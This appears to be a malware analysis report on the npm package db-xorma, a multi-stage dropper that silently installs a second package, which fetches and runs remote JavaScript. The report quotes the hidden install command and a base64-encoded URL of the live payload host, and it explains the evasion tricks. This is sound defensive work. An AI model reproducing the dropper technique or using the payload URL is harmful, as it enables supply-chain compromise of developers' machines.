db-xorma@1.0.2

Analysis

core-module-as-dependency signal fired because db-xorma@1.0.2 lists child_process:^1.0.2 as an npm dep, which is architecturally wrong (Node core module, never resolved from npm). Investigation revealed a FAR more severe multi-stage attack: (1) Model.resetor() called from every Model constructor tries to require("db-dx-connector"), and if missing runs execSync("npm install db-dx-connector --no-save --silent --windowsHide") to dynamically install it. (2) db-dx-connector.queryDBConnect() decodes base64 URL aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw → fetches JavaScript from a remote pastebin service via axios.get(), spawns a detached node process, and pipes the fetched code into stdin for execution. This is a full multi-stage dropper: stage 1 (db-xorma) installs stage 2 (db-dx-connector) at runtime, which fetches and executes arbitrary stage 3 payload from the internet, completely hidden from static analysis of the published package. No lifecycle hooks needed — activates when consumer creates a Model instance. All three versions (1.0.0-1.0.2) carry the same payload; 1.0.2 removed a console.error(err) log for stealth.